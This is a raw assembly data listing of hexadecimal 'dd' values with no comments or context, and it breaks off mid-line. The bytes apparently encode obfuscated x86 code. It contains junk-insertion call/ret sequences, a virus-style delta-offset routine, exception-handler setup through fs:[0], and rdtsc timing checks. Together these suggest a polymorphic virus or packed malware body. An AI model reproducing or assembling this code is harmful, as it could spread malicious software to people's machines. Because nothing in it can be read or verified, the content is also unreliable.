0C3534300h, 0E24B7DDBh, 0BD8B8374h dd 6071AF1h, 6A205089h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8DBDC353h, 0AC7ED85h dd 89D0B306h, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 2332CC29h, 6621C4A9h dd 0C2FEC781h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 15F935C3h, 37BB66E9h, 0FFE6B375h dd 0AB372B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 412D0E50h, 37AFE646h, 0DF8010A4h dd 2FE781F7h, 0FF10C125h, 729FD95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 48124783h dd 0D9C2FA00h, 1F01B589h, 50500607h, 9D52FEBBh, 34895B4Fh dd 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 8DD14A5Dh, 61BD8BFFh, 66060703h, 0FF7A42BFh dd 0AB372B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 0C0F29D0Ch, 0ECF7E1BEh, 95FF7654h dd 6071AA5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 0A1C35545h, 829D9C85h, 0ADBD836Bh, 60708h, 30840Fh dd 95890000h, 6071D31h, 93BF6696h, 6A96505Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0FDE0C352h, 9F82F381h, 0B5FF0112h, 60AB372h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2CC35646h, 0FE95863h dd 90000000h, 0F46208B5h, 6D63AF52h, 7D67E99Dh, 8E0FD67Fh dd 8, 31BD0B52h, 5B06071Ch, 260595FFh, 6A0607h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0C6DAB8C3h, 0F09AF38h, 0B5FFDABFh, 60AB372h, 2B059D2Bh dd 95FF0607h, 6071DF1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 7EC35646h, 0BF0FCE82h, 0B1BD83DAh, 2060703h dd 5C840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0DA6AB3C3h dd 0A56B1210h, 25BD2B1Bh, 8B060727h, 71EA9BDh, 49858B06h dd 6A060707h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 2970C352h, 721E98Dh, 0C606h, 85C7FA8Bh dd 6070F49h, 0 dd 10E8h, 3FACA900h, 83FBE56h, 8F91F7ECh, 0CADC83E4h, 6E95668h dd 0F0000000h, 54FC81C8h, 895F5B86h, 720119Dh, 0F3A5E906h dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 346F75C3h, 238D4D47h, 0C18B6772h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0BFC35141h, 858D794Eh dd 6071F19h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 5EC35343h, 0D88B66BBh, 0D88B6650h, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 8A91C356h, 5340DF94h, 6AE85F0Ah, 0A1BD0900h, 6A06071Bh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 20F8DE34h, 666D46C6h, 8DC6E8BFh, 0BCEDF85h dd 3D9D0306h, 83060730h, 0BD8B05C0h, 6072DA1h, 0E9525050h dd 5, 0C3B78D99h, 0F310FDEh, 188Bh, 13E900h, 82630000h dd 255AF681h, 4B190822h, 1CC24FEEh, 82FC2741h, 89585A54h dd 0BD8B2404h, 60700C5h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 6A45C3h, 0FFD8BF0Fh dd 71BCD95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0A63C8501h, 16518D31h, 8D8D0607h dd 60AA5B7h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0E1C35141h, 0E8D1FFFCh, 0Fh, 2D019D95h, 0CAA85FCAh dd 63017B4Ch, 80A9A09Fh, 835BA8CFh, 71995BDh, 850F0106h dd 78h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah dd 0CCC35040h, 0DFA98C07h, 14E9950Fh, 3D000000h, 0B0C3715Eh dd 0E1C3B043h, 0EEA0EEC2h, 32D5AED6h, 6A6B47B2h, 55006A02h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0A958AB00h, 0EF809033h, 66565006h, 5FE98BBFh, 23240489h dd 72C59BDh, 0FD95FF06h, 0F8060729h, 0ED8E9h, 0E800h, 815D0000h dd 0BCEE9EDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 53CCF8AAh, 0FDFB70Fh, 8B66F8B7h dd 0A858DDEh, 6A060A91h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 18F8C352h, 0C3338215h dd 891B747Ah, 7303985h, 0E5BD8B06h, 9006070Ah, 66525060h dd 310FF98Bh, 0AD732B9h, 61585A30h, 850F5350h, 0 dd 0BF0F905Bh, 0C59D8BD9h, 6406072Bh, 35FFh, 0BD290000h dd 6070C4Dh, 258964h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8904C353h, 71261B5h dd 0C80EBB06h, 85FF2916h, 6070FA5h, 0F95FD381h, 0FF6A4F58h dd 9FE78166h, 19B5FF43h, 8906071Eh, 71ABD85h, 0DFB70F06h dd 303595FFh, 50E90607h, 8B000001h, 72FE5BDh, 0E800B006h dd 10h, 0A2EB8B9Ch, 0F7DE2D2Dh, 6324A943h, 1DBAE510h, 0B776C381h dd 665B6563h, 70E6DE8Bh, 19890Fh, 800F0000h, 13h, 0EE9h dd 0BFC07900h, 0F82FD828h, 0D7B3481Bh, 0E404FA8Ah, 0E7816671h dd 0BE9241Bh, 67000000h, 0B5D2BC70h, 0EFE794D2h, 613C5E47h dd 0E9830Fh, 0BD8B0000h, 6072E55h, 0BAC8B60Fh, 6, 1A719D8Bh dd 0C18B0607h, 0EE8h, 0FCA19C00h, 7344B574h, 0EBF52D3Ah dd 0E9486D64h, 5, 82C2ED8Fh, 9D8B5F6Ah, 6071E99h, 6004E8C1h dd 221D950Bh, 870F0607h, 6, 18C58589h, 8B610607h, 0E2F766DEh dd 1C82BF9h, 72D11BDh, 0DE906h, 8B140000h, 0FCE1F583h dd 22071234h, 8B73AF22h, 0E970B3D1h, 6Fh, 13D38166h, 4858B7Fh dd 8B000000h, 71F619Dh, 7C08306h, 43F3BB66h, 0F00C083h dd 38Dh, 0DEE38000h, 830FD03Bh, 0Ah, 3CE9F88Bh, 80000000h dd 8D8BBFD3h, 0FFFFFFFFh, 68B0Fh, 85890000h, 6072641h dd 0F01E183h, 1E84h, 9BD8B00h, 83060733h, 0FFFFFFA5h, 0B589FEFFh dd 6070395h, 49589h, 0E90000h, 8D000000h, 0B5081B5h, 0EF8106h dd 6A28BC9Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 3A57B103h, 7023ABB9h, 0FFFCF9D8h dd 7320195h, 68A0F06h, 2B000000h, 72CD5BDh, 0F71B906h dd 85310000h, 6071C29h, 6AFCE183h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8995C352h dd 71C9D9Dh, 8529FC06h, 6072161h, 6AC02Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0ECE49AC3h dd 38C0F13h, 80000000h, 0D22B03D3h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 97C35040h, 0C182235Dh, 0ED9D011Eh dd 0E8060701h, 10h, 0EDE2DA4Ch, 0A2A05237h, 0B2E4A0C4h dd 0F88D40D9h, 0AD5F5F52h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7A35C357h, 1B77CDF6h, 94A6B69h, 71B09BDh dd 72BB6606h, 0F59D8BA6h, 106071Fh, 70F9995h, 880D06h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0D2A969C3h, 0BE9E0h, 4DA0000h, 0C1CFA5D7h dd 80B8AFA1h, 41958BDDh, 6A06071Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 7512C352h dd 0BDB529A9h, 8B06071Dh, 706058Dh, 0D1858906h, 50060718h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 2AFE02h, 0D262860Ch, 0AD8D89ABh, 5606072Ah, 1F098D29h dd 8B5F0607h, 71D45BDh, 0D1BD8306h, 6070Bh, 3C840Fh, 0B80000h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0A40BC351h, 7A6346E4h, 8DE53D14h dd 74DB48Dh, 81B58906h, 0FF06071Ch, 0C38166E1h, 0BD83A463h dd 6070069h, 83840F00h, 6A000005h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F942C355h dd 0BEF92C04h, 0E9958978h, 8306071Fh, 70069BDh, 840F0106h dd 569h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 3CC35747h, 294D70DEh, 717FDB5h, 5E806h, 0A2020000h dd 66F9D11Eh, 245DF381h, 69BD835Bh, 3060700h, 4F1860Fh dd 9D8B0000h, 6070FF5h, 2840Fh, 0FB8B0000h, 665B5260h dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 8ADAA4C3h, 0B880FEFh, 0E9000000h, 6, 9D17B2E2h dd 0BB66FF1Bh, 0E180A9CDh, 4E06BB04h, 5B5718C0h, 840FC90Ah dd 183h, 1C8D9D89h, 858B0607h, 607306Dh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D5C35646h, 0F3DCDAAEh dd 85336B20h, 6073305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 81C35343h, 8185849Eh, 0FDBD0156h, 5B060731h dd 13E8h, 0D1212D00h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh dd 3C43DC0Ah, 12E8h, 0DAD78300h, 6C23877Bh, 2B45C976h dd 6C82A419h, 893C4667h, 72DC985h, 905B5B06h, 6A9050h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 9791EFC3h, 6E983h, 20650000h, 3A8465ADh, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 95DC24C3h, 0FD22188Fh, 1DF8166h, 1F8C68D3h, 34816B38h dd 271C7324h, 0C1BD8B6Bh, 8B06072Ch, 715099Dh, 9195FF06h dd 6A06071Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0DB43C355h, 3EA0D381h, 0CB815268h dd 1D1D3D2Eh, 0B3728589h, 6A060Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 22F12DC3h, 1A7ED09Ch dd 29DE9F5h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 744B6FC3h, 0BBE210CAh, 8BF9BF0Fh dd 0AB36A85h, 5FD1BB06h, 0C70472h, 18h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 16h, 8C35646h, 0DE8C3D3h dd 0BA000000h, 51A34C92h, 0F7CAB5DAh, 0FD7E3D0Fh, 3810Fh dd 0C3800000h, 0B58B5B80h, 60AB36Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0F4C35141h, 0CE9C398h, 0F000000h dd 8B746AADh, 60251023h, 8B36E314h, 7157985h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 59BD03D9h, 60060710h, 2C098D89h, 0B70F0607h, 68961CBh dd 68B0Fh, 9D8B0000h, 6070591h, 306D858Bh, 13E90607h, 5A000000h dd 47B9EE6Dh, 6914B638h, 7DE3717Eh, 19419603h, 46891B62h dd 15958904h, 96060704h, 10E8h, 0EE25DE00h, 0E8DA52C1h dd 7A19E9D7h, 4E4659C2h, 0F88B6662h, 0DA8B505Bh, 0EE95196h dd 0EA000000h, 0EF5841C7h, 205FD20Eh, 6FC1D527h, 0AE85B40h dd 51000000h, 157C1134h, 0FEA2A21Eh, 14E8CAh, 0ADD60000h dd 9146B24Bh, 4B0DFCA8h, 0A7176C52h, 2989EA13h, 860FE8E1h dd 0 dd 0B5FF5F5Bh, 60AB36Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0E2C35747h, 0B9AC8374h, 8B1031A5h, 710099Dh dd 4E806h, 3FF0000h, 8A50001Fh, 24448BDEh, 0E9525004h dd 0Fh, 429E17ADh, 3EF27B47h, 9837036Ch, 0FE67CACh, 8B585A31h dd 0D88A6000h, 5FF6B966h, 24448961h, 0FE904h, 0C010000h dd 0F6CCAD51h, 0D8FB03Fh, 58F1A3ACh, 6A587Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0AA2D61C3h dd 0F05199ECh, 0BF66D5A8h, 0B9BB3DE1h, 0F2E1533h, 683h dd 89958900h, 8D060707h, 0AB37285h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 9E9E9h, 12350000h dd 9097385Eh, 508CD458h, 52506050h, 585A310Fh, 310F5250h dd 5F61585Ah, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 1BF2C350h, 8BF1C7DAh dd 7221D9Dh, 9195FF06h, 8B06071Bh, 0A5BD89D9h, 6106072Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7FC35747h dd 0A2C0E6E1h, 9FA25DA4h, 6985C7h, 30607h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0A91A63C3h, 0ECA9BB6Dh, 8C0FDEA6h, 0 dd 0ADEF8166h, 72BD83E3h, 60AB3h, 31840Fh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0F5521C3h, 68Bh, 219D8B00h, 0E9060717h, 1Eh, 50DF8B66h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 0C381C08Bh, 77BB4185h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 31C35141h, 0B3A13782h, 14E9D6h, 0E4890000h dd 0AF6FB615h, 0ABE0F926h, 0DDF3E7F8h, 56AED9F8h, 0BD83BD9Fh dd 6070069h, 4850F03h, 66000004h, 2B0F01BBh, 706D5BDh dd 72BD8306h, 60AB3h, 3ED840Fh, 0DC8A0000h, 0B372B5FFh dd 6A060Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 3A2FEAC3h, 6043E021h, 3CC6942h, 732AD9Dh dd 0CE95206h, 0D7000000h, 6A70A5FEh, 24355E59h, 5F63C5AFh dd 154595FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 206D6CC3h, 10F5B025h, 0EE8h, 5013D500h dd 4A4E7E9Ch, 0A087E264h, 8B910CC1h, 7154DBDh, 800F5B06h dd 6, 1ADD9D8Bh, 0B58B0607h, 60AB366h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0F4C35242h, 7A93297Bh, 8589FCA4h dd 6073135h, 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 8B96BBC3h, 8C0F50F9h dd 0 dd 6E896h, 0A1910000h, 5FF5395Fh, 0B5FF5BF8h, 60AB372h dd 21D1BD23h, 95FF0607h, 6070911h, 3E5BD8Bh, 0B58B0607h dd 60AB366h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 37C35646h, 0E5B589EAh, 8B060729h, 72CC985h, 25858906h dd 89060719h, 0C486h, 0F8B70F00h, 1B41958Bh, 6A0607h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 6077DAC3h, 0EDDE8166h, 13E90Ah, 0BB7B0000h, 0AECAF2AFh dd 0F2124141h, 1D320E0Fh, 13B8B8F7h, 0C2836185h, 53006A04h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0DEF1F1DAh, 0D8849313h, 0F880Fh, 0AE90000h, 6A000000h dd 0C0B323DCh, 2AFCBA9h, 7E907h, 7B790000h, 0C44DDC3Ch dd 20508905h, 8DDFB70Fh, 0AC7ED85h, 6E806h, 0AC360000h dd 33784922h, 0D8A0Fh, 8E90000h, 0D4000000h, 8A58629h dd 5B089DF2h, 0E4A2BB66h, 0B88689h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3CCE0BC3h dd 9AEE1CA1h, 860Fh, 6A0000h, 29499D8Bh, 0B5FF0607h, 60AB372h dd 95FFFA8Bh, 60729FDh, 6890Fh, 0BD890000h, 6072F49h, 11BF6650h dd 243489C3h, 0B372B5FFh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0C8A63EC3h, 0D9C003E7h dd 858921A6h, 60722F9h, 7159D31h, 95FF0607h, 6071AA5h dd 0BD83DA8Bh, 60708ADh, 6F840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 9296C356h, 60304D90h, 2AD18D29h, 0EA810607h, 3F4FF916h dd 0BF669661h, 5650967Ah, 52505250h, 585A310Fh, 0A9B7310Fh dd 965B585Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 32C35545h, 0FC377709h, 27687332h, 1659BD89h, 0B5FF0607h dd 60AB372h, 2B799D8Bh, 95FF0607h, 6072605h, 830FF98Bh dd 6, 29B19D8Bh, 0B5FF0607h, 60AB372h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 41C35242h, 95FFFB59h, 6071DF1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 2DC35545h dd 8AF9A08Fh, 3B1BD83h, 0F020607h, 4A84h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0F31C3436h, 0EA7025E0h, 0BE9h, 0DC37D700h, 0EC218E7Eh dd 952C20DEh, 49858BF5h, 0F9060707h, 0F0000C6h, 686h, 3DBD8900h dd 0C7060705h, 70F4985h, 6, 1D9D8B00h, 0E906071Fh, 0FFFFF246h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 4AC35747h dd 9954358Eh, 572E8969h, 23199589h, 0CB800607h, 60C18BB6h dd 0A8B0Fh, 5E90000h, 4000000h, 0A996795h, 810F53h, 59000000h dd 19858D61h, 0E806071Fh, 12h, 7BCFFFD5h, 0FD2453BAh, 9A9A1520h dd 85007989h, 0D7819935h, 7D8AC1B2h, 6890F5Fh, 0B000000h dd 70BA99Dh, 0E8509006h, 13h, 154C0C86h, 9139036Eh, 47C250B9h dd 18B5A0FBh, 0BF3B5268h, 769A2DB1h, 6A905Fh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 23BAEBC3h dd 6A006AB1h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 661AC355h, 0C3E8F781h, 6ADE8B66h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0D8FB03Fh, 29F1A3ACh, 705CD9Dh, 0BF858D06h dd 89060BDFh, 717059Dh, 5C08306h, 30899589h, 66900607h dd 0BB50F98Bh, 7D733315h, 0E5952990h, 0BF060703h, 242B15FBh dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0FC175C3h, 0F1963367h, 6AD675h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FDC35242h, 0FE9h dd 3571D800h, 795140EDh, 97E0B5F8h, 6220F408h, 1BCD95FFh dd 0BB660607h, 8D8D4632h, 60AA5B7h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 87C35646h, 0FAB70FA1h, 7626BB66h dd 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 5CBF14C3h, 0BD833234h, 6071995h, 5D850F01h dd 89000000h, 7002995h, 6A5F5306h, 50006A02h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 32512B1Dh dd 50EF4776h, 6EF39BBFh, 24048902h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0FC35242h, 95FFE368h, 60729FDh dd 1F73BF66h, 0DE3E9h, 0E800h, 815D0000h, 0BDFC9EDh, 68E0F06h dd 89000000h, 70AF1B5h, 0F1B58906h, 8D06071Fh, 0A910A85h dd 0C850F06h, 0F000000h, 68Fh, 0E9850100h, 5006070Bh, 13E9h dd 3B0DEC00h, 0FC2648D8h, 9D773F93h, 5763F9BBh, 43DDB4ECh dd 52240489h, 35FF645Fh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 27C35141h dd 896449C1h, 25h, 85FFF800h, 6070FA5h, 0FFB70F51h, 0C98D895Fh dd 6A060701h, 0C9BB66FFh, 0F1B5FF71h, 6A06071Ch, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 3525C350h, 0E2816660h, 0BF668A6Fh, 0E861FD45h, 0Dh dd 6E2EEE88h, 928774C6h, 1AB67F7h, 2880F33h, 51000000h dd 95FF5F5Fh, 6073035h, 10AE9h, 6890F00h, 8B000000h, 717159Dh dd 0E800B006h, 0Ch, 0FF9A6890h, 0D134913Ah, 81E7A637h dd 4AB6BB66h, 0B70E65Fh, 717BD9Dh, 8971E406h, 71575BDh dd 0F613C06h, 0CE83h, 0DE8B6600h, 0BBC8B60Fh, 52AD4749h dd 6BAh, 0D9BD0900h, 8B060712h, 0B5BD8BC1h, 0F060703h dd 8Bh, 4E8C100h, 693AC781h, 0F7662DB2h, 89BD8BE2h, 8B060730h dd 71F0D9Dh, 0E8C82B06h, 7, 3788A776h, 6069BF87h, 415BD8Bh dd 5B530607h, 0D18B5B61h, 0F5B3D780h, 6EE9h, 0DBB70F00h dd 4C44858Bh, 95895F4Ch, 60717E1h, 8907C083h, 710A18Dh dd 0C08306h, 285D25BBh, 0FD03B2Eh, 0C83h, 19958900h, 0E9060732h dd 3Bh, 0FF8D8BF9h, 80FFFFFFh, 0E183E1D7h, 28840F01h, 3000000h dd 705499Dh, 0FFA58306h, 0FEFFFFFFh, 1CEB8166h, 8C12BB16h dd 95892D05h, 5F4C4C44h, 0B8D9589h, 0E90607h, 8D000000h dd 0B5FF2B5h, 4BF6606h, 6A006AA2h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 6053C350h dd 75489DB2h, 0E58D31D7h, 0FF060729h, 7320195h, 3870F06h dd 0F000000h, 0C6B9F8BFh, 6A00000Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0ED9C356h dd 66EDE114h, 0E9DA4EBBh, 10h, 0C60ADFDh, 4F11766h, 43ECF464h dd 88E8058Ch, 6AFCE183h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 2A8FC353h, 23BF15E7h dd 0FC36BC61h, 0A5BD8BFCh, 2B060715h, 52006AC0h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 69237207h, 0F5385CA3h, 858B6008h, 6071809h, 2BE58D8Bh dd 0F9610607h, 0BB66D22Bh, 33AD8DB1h, 3E8D1C2h, 4E983D0h dd 13E9F475h, 0AB000000h, 0C1EE25DEh, 0D7E8DA52h, 0C27A19E9h dd 624E4659h, 9D0B878Ah, 6072B25h, 880Dh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 919D8B5Dh, 0E9060704h, 0Eh, 0B601E485h, 3E9505B3h, 2568312Dh dd 85290588h, 6072611h, 1B41958Bh, 6A0607h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 6C1243C3h dd 8D8B1DD7h, 6070605h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 0CCC35545h, 68D0F48h, 8B000000h, 700E59Dh dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0F4AC355h, 8166DABFh, 6AAE0AC7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 3028C352h, 0BC0CD60Ch, 0BFD0E3AEh, 22CD9D09h, 0BD830607h dd 6070BD1h, 8A840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0A494C351h dd 0F098FB9Fh, 0FC8D7CE9h, 10E9h, 0ED1F5D00h, 27FD5592h dd 569B5028h, 0E71C6802h, 0B8F98BE7h, 0 dd 8D8B6056h, 6070C41h, 8D8D5B61h, 6074DB4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 50C35545h, 0FFDEB70Fh dd 13E9E1h, 12440000h, 0F1923137h, 0DEE6C739h, 1BCE30FAh dd 0C3C74CF6h, 69BD832Eh, 60700h, 3C5840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 0D68356C3h, 7BFBE029h, 0CE828B3h, 59000000h, 39FAD101h dd 8F680B3Ah, 600F6DB5h, 79D8D89h, 95890607h, 607239Dh dd 0BD835F61h, 6070069h, 8F840F01h, 0F000003h, 684h, 0B19D8B00h dd 83060732h, 70069BDh, 860F0306h, 340h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 0E0C35343h, 9E9ABh dd 0BB750000h, 64BC2251h, 60B8592Ch, 0DE953h, 37AE0000h dd 44A154DDh, 0D287342Fh, 5F6E785Eh, 31D98C66h, 70C598Dh dd 4E18006h, 19B1B529h, 0C90A0607h, 0FE840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 3881ECC3h, 8D9E48A0h, 306D858Bh, 0BB660607h, 85338E46h dd 6073305h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0DDC35242h, 0CCC44E90h, 0ADD7817Fh, 0F049FE3h dd 0E850F8BFh, 10h, 62BD21A1h, 0DA249A97h, 0AA7CD00Ah dd 44AE5785h, 0C57BBF66h, 2404895Fh, 26F5BD8Bh, 6A0607h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F4C35646h dd 34891F19h, 1A112A49h, 0C4A768AFh, 4819105h, 193F5824h dd 0B70F606Fh, 0B18D8BDBh, 61060721h, 1B9195FFh, 95310607h dd 6073071h, 0B3728589h, 8166060Ah, 0E9879DEBh, 196h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 65C35747h, 6688BB06h dd 4188F381h, 0B36A858Bh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 8B1954C3h, 72FB99Dh dd 1800C706h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0C19DC356h, 94BC32E7h dd 0B36EB58Bh, 0A0BB060Ah, 8B39920Ch, 7157985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 460AE877h, 0BD8B60B9h, 6070B9Dh, 0A98D89h, 89610607h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 895B9030h, 6D858BD8h, 66060730h, 8548CB81h dd 66044689h, 9641B7BBh, 0E8505250h, 13h, 53517A4Eh, 6A05A685h dd 87D6691Ch, 0BAFA8814h, 5BF06D3Ch, 8A310F5Fh, 50585ADDh dd 96D98B66h, 0BDE8B66h, 709759Dh, 6AB5FF06h, 6A060AB3h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 621BC350h, 0F63F595h, 182h, 4A68FC00h, 50C869A0h dd 0FB8B6652h, 0BF66310Fh, 585A3EA4h, 